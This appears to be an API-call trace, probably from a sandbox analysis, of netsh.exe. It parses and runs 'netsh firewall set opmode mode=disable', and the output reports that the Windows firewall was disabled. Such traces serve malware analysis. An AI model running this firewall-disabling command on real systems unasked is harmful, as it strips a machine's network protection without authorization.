	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc) returned 0x1e025e2d810
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2db50
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc) returned 0x1e025e2de10
	[0252.953] wcscpy_s (in: _Destination=0x1e025e2de10, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d810) returned 1
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d950) returned 1
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2db90
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2de30
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x42) returned 0x1e025e32a40
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d7b0
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e2d750
	[0252.953] wcscpy_s (in: _Destination=0x1e025e2d750, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d950
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8) returned 0x1e025e33970
	[0252.953] wcscpy_s (in: _Destination=0x1e025e33970, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d810
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe) returned 0x1e025e2dc50
	[0252.954] wcscpy_s (in: _Destination=0x1e025e2dc50, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dbf0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xa) returned 0x1e025e2dc10
	[0252.954] wcscpy_s (in: _Destination=0x1e025e2dc10, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dc70
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4) returned 0x1e025e338c0
	[0252.954] wcscpy_s (in: _Destination=0x1e025e338c0, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2da10
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e2dd50
	[0252.954] wcscpy_s (in: _Destination=0x1e025e2dd50, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e32a40) returned 1
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2de30) returned 1
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d9b0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e2dcb0
	[0252.954] wcscpy_s (in: _Destination=0x1e025e2dcb0, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d750) returned 1
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d7b0) returned 1
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2de30
	[0252.954] GetProcessHeap () returned 0x1e025de0000
	[0252.954] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e2de70
	[0252.954] wcscpy_s (in: _Destination=0x1e025e2de70, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dcb0) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d9b0) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dd70
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8) returned 0x1e025e33940
	[0252.955] wcscpy_s (in: _Destination=0x1e025e33940, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33970) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d950) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2de50
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe) returned 0x1e025e2dcb0
	[0252.955] wcscpy_s (in: _Destination=0x1e025e2dcb0, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dc50) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d810) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d810
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xa) returned 0x1e025e2d750
	[0252.955] wcscpy_s (in: _Destination=0x1e025e2d750, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dc10) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dbf0) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d7b0
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4) returned 0x1e025e33810
	[0252.955] wcscpy_s (in: _Destination=0x1e025e33810, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e338c0) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.955] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dc70) returned 1
	[0252.955] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d830
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e2d850
	[0252.956] wcscpy_s (in: _Destination=0x1e025e2d850, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dd50) returned 1
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2da10) returned 1
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x38) returned 0x1e025e40ab0
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc) returned 0x1e025e2d870
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e2dbf0
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8) returned 0x1e025e338e0
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe) returned 0x1e025e2d950
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xa) returned 0x1e025e2d9b0
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e2d9b0, Size=0xc) returned 0x1e025e2dc10
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e2dc10, Size=0x1a) returned 0x1e025e37260
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc) returned 0x1e025e2d9b0
	[0252.956] GetProcessHeap () returned 0x1e025de0000
	[0252.956] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e2d9b0, Size=0xe) returned 0x1e025e2d9d0
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e2d9d0, Size=0x1e) returned 0x1e025e37290
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e37290, Size=0x20) returned 0x1e025e36fc0
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e36fc0, Size=0x26) returned 0x1e025e374d0
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e374d0, Size=0x28) returned 0x1e025e374a0
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e374a0, Size=0x34) returned 0x1e025e40b70
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e40b70, Size=0x36) returned 0x1e025e409f0
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlReAllocateHeap (Heap=0x1e025de0000, Flags=0x0, Ptr=0x1e025e409f0, Size=0x4e) returned 0x1e025e35ef0
	[0252.957] GetProcessHeap () returned 0x1e025de0000
	[0252.957] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e35ef0) returned 1
	[0252.957] lstrcmpiW (lpString1="netsh", lpString2="namespace") returned 1
	[0252.957] lstrcmpiW (lpString1="netsh", lpString2="branchcache") returned 1
	[0252.957] lstrcmpiW (lpString1="netsh", lpString2="advfirewall") returned 1
	[0252.957] lstrcmpiW (lpString1="netsh", lpString2="firewall") returned 1
	[0252.957] lstrcmpiW (lpString1="netsh", lpString2="interface") returned 1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="dhcp") returned 1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="dnsclient") returned 1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="routing") returned -1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="ip") returned 1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="ipv6") returned 1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="aaaa") returned 1
	[0252.958] lstrcmpiW (lpString1="netsh", lpString2="ras") returned -1
	[0252.958] _wcsnicmp (_String1="firewall", _String2="dump", _MaxCount=0x8) returned 2
	[0252.958] _wcsnicmp (_String1="firewall", _String2="help", _MaxCount=0x8) returned -2
	[0252.958] _wcsnicmp (_String1="firewall", _String2="?", _MaxCount=0x8) returned 39
	[0252.958] _wcsnicmp (_String1="firewall", _String2="exec", _MaxCount=0x8) returned 1
	[0252.958] _wcsnicmp (_String1="firewall", _String2="advfirew", _MaxCount=0x8) returned 5
	[0252.958] _wcsnicmp (_String1="firewall", _String2="branchca", _MaxCount=0x8) returned 4
	[0252.958] _wcsnicmp (_String1="firewall", _String2="bridge", _MaxCount=0x8) returned 4
	[0252.958] _wcsnicmp (_String1="firewall", _String2="dhcpclie", _MaxCount=0x8) returned 2
	[0252.958] _wcsnicmp (_String1="firewall", _String2="dnsclien", _MaxCount=0x8) returned 2
	[0252.958] _wcsnicmp (_String1="firewall", _String2="firewall", _MaxCount=0x8) returned 0
	[0252.958] lstrcmpiW (lpString1="firewall", lpString2="namespace") returned -1
	[0252.958] lstrcmpiW (lpString1="firewall", lpString2="branchcache") returned 1
	[0252.958] lstrcmpiW (lpString1="firewall", lpString2="advfirewall") returned 1
	[0252.958] lstrcmpiW (lpString1="firewall", lpString2="firewall") returned 0
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.958] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d9b0
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.958] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dc10
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.958] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4e) returned 0x1e025e368b0
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.958] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dc50
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.958] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc) returned 0x1e025e2d9d0
	[0252.958] wcscpy_s (in: _Destination=0x1e025e2d9d0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.958] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dc70
	[0252.958] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e2d9f0
	[0252.959] wcscpy_s (in: _Destination=0x1e025e2d9f0, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dcd0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8) returned 0x1e025e33a50
	[0252.959] wcscpy_s (in: _Destination=0x1e025e33a50, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dcf0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe) returned 0x1e025e2dd50
	[0252.959] wcscpy_s (in: _Destination=0x1e025e2dd50, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2da10
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xa) returned 0x1e025e2da30
	[0252.959] wcscpy_s (in: _Destination=0x1e025e2da30, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025df0dd0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4) returned 0x1e025e33860
	[0252.959] wcscpy_s (in: _Destination=0x1e025e33860, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e436f0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e435d0
	[0252.959] wcscpy_s (in: _Destination=0x1e025e435d0, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e368b0) returned 1
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dc10) returned 1
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d9f0) returned 1
	[0252.959] GetProcessHeap () returned 0x1e025de0000
	[0252.959] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e43050
	[0252.960] lstrcmpiW (lpString1="firewall", lpString2="routing") returned -1
	[0252.960] lstrcmpiW (lpString1="firewall", lpString2="ip") returned -1
	[0252.960] lstrcmpiW (lpString1="firewall", lpString2="ipv6") returned -1
	[0252.960] lstrcmpiW (lpString1="firewall", lpString2="aaaa") returned 1
	[0252.960] lstrcmpiW (lpString1="firewall", lpString2="ras") returned -1
	[0252.960] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15
	[0252.960] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11
	[0252.960] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52
	[0252.960] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1
	[0252.960] _wcsnicmp (_String1="set", _String2="add", _MaxCount=0x3) returned 18
	[0252.960] _wcsnicmp (_String1="set", _String2="del", _MaxCount=0x3) returned 15
	[0252.960] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0
	[0252.960] _wcsnicmp (_String1="opmode", _String2="help", _MaxCount=0x6) returned 7
	[0252.960] _wcsnicmp (_String1="opmode", _String2="?", _MaxCount=0x6) returned 48
	[0252.960] wcstok (in: _String="allowedprogram", _Delimiter=" ", _Context=0x7ff6399b2ff8 | out: _String="allowedprogram", _Context=0x7ff6399b2ff8) returned="allowedprogram"
	[0252.960] _wcsnicmp (_String1="opmode", _String2="allowe", _MaxCount=0x6) returned 14
	[0252.960] wcstok (in: _String="icmpsetting", _Delimiter=" ", _Context=0x7ff6399b3030 | out: _String="icmpsetting", _Context=0x7ff6399b3030) returned="icmpsetting"
	[0252.960] _wcsnicmp (_String1="opmode", _String2="icmpse", _MaxCount=0x6) returned 6
	[0252.960] wcstok (in: _String="logging", _Delimiter=" ", _Context=0x7ff6399b3048 | out: _String="logging", _Context=0x7ff6399b3048) returned="logging"
	[0252.960] _wcsnicmp (_String1="opmode", _String2="loggin", _MaxCount=0x6) returned 3
	[0252.960] wcstok (in: _String="multicastbroadcastresponse", _Delimiter=" ", _Context=0x7ff6399b3058 | out: _String="multicastbroadcastresponse", _Context=0x7ff6399b3058) returned="multicastbroadcastresponse"
	[0252.960] _wcsnicmp (_String1="opmode", _String2="multic", _MaxCount=0x6) returned 2
	[0252.960] wcstok (in: _String="notifications", _Delimiter=" ", _Context=0x7ff6399b3090 | out: _String="notifications", _Context=0x7ff6399b3090) returned="notifications"
	[0252.960] _wcsnicmp (_String1="opmode", _String2="notifi", _MaxCount=0x6) returned 1
	[0252.960] wcstok (in: _String="opmode", _Delimiter=" ", _Context=0x7ff6399b30b0 | out: _String="opmode", _Context=0x7ff6399b30b0) returned="opmode"
	[0252.960] _wcsnicmp (_String1="opmode", _String2="opmode", _MaxCount=0x6) returned 0
	[0252.960] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65 | out: _String=0x0, _Context=0x65) returned 0x0
	[0252.960] _wcsnicmp (_String1="mode=disable", _String2="help", _MaxCount=0xc) returned 5
	[0252.960] _wcsnicmp (_String1="mode=disable", _String2="?", _MaxCount=0xc) returned 46
	[0252.960] lstrcmpiW (lpString1="firewall", lpString2="netsh") returned -1
	[0252.960] LdrStandardizeSystemPath () returned 0x7ff7b459bfc0
	[0252.961] MatchTagsInCmdLine () returned 0x0
	[0252.961] wcspbrk (_String="mode=disable", _Control="=") returned="=disable"
	[0252.961] GetProcessHeap () returned 0x1e025de0000
	[0252.961] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e36f30
	[0252.961] wcscpy_s (in: _Destination=0x1e025e36f30, _SizeInWords=0xd, _Source="mode=disable" | out: _Destination="mode=disable") returned 0x0
	[0252.961] wcstok (in: _String="mode=disable", _Delimiter="=", _Context=0x1e025e3727a | out: _String="mode", _Context=0x1e025e3727a) returned="mode"
	[0252.961] _wcsnicmp (_String1="mode", _String2="mode", _MaxCount=0x4) returned 0
	[0252.961] wcscpy_s (in: _Destination=0x1e025e37260, _SizeInWords=0xd, _Source="disable" | out: _Destination="disable") returned 0x0
	[0252.961] GetProcessHeap () returned 0x1e025de0000
	[0252.961] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e36f30) returned 1
	[0252.961] MatchEnumTag () returned 0x0
	[0252.961] _wcsnicmp (_String1="disable", _String2="enable", _MaxCount=0x7) returned -1
	[0252.961] _wcsnicmp (_String1="disable", _String2="disable", _MaxCount=0x7) returned 0
	[0255.876] PrintError () returned 0x132
	[0255.876] LoadStringW (in: hInstance=0x7ff84b120000, uID=0x119a, lpBuffer=0x21176f620, cchBufferMax=16384 | out: lpBuffer="\nIMPORTANT: Command executed successfully.\nHowever, \"netsh firewall\" is deprecated;\nuse \"netsh advfirewall firewall\" instead.\nFor more information on using \"netsh advfirewall firewall\" commands\ninstead of \"netsh firewall\", see KB article 947709\nat https://go.microsoft.com/fwlink/?linkid=121488 .\n\n") returned 0x12a
	[0255.876] FormatMessageW (in: dwFlags=0x500, lpSource=0x21176f620, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x21176f600, nSize=0x0, Arguments=0x21176f610 | out: lpBuffer="\x81e0\x25df\x1e0") returned 0x132
	[0255.876] GetStdHandle (nStdHandle=0xfffffff5) returned 0x254
	[0255.876] GetConsoleOutputCP () returned 0x1b5
	[0256.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat https://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 307
	[0256.235] GetProcessHeap () returned 0x1e025de0000
	[0256.235] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x133) returned 0x1e027d69550
	[0256.235] GetConsoleOutputCP () returned 0x1b5
	[0256.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat https://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x1e027d69550, cbMultiByte=307, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat https://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", lpUsedDefaultChar=0x0) returned 307
	[0256.252] WriteFile (in: hFile=0x254, lpBuffer=0x1e027d69550*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x21176f5d0, lpOverlapped=0x0 | out: lpBuffer=0x1e027d69550*, lpNumberOfBytesWritten=0x21176f5d0*=0x132, lpOverlapped=0x0) returned 1
	[0256.252] GetProcessHeap () returned 0x1e025de0000
	[0256.252] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e027d69550) returned 1
	[0256.252] LocalFree (hMem=0x1e025df81e0) returned 0x0
	[0256.252] LoadStringW (in: hInstance=0x0, uID=0x2, lpBuffer=0x21176f710, cchBufferMax=16384 | out: lpBuffer="Ok.\n") returned 0x4
	[0256.252] FormatMessageW (in: dwFlags=0x500, lpSource=0x21176f710, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x21176f6f0, nSize=0x0, Arguments=0x21176f700 | out: lpBuffer="\xa9e0\x25e4\x1e0") returned 0x5
	[0256.252] GetStdHandle (nStdHandle=0xfffffff5) returned 0x254
	[0256.252] GetConsoleOutputCP () returned 0x1b5
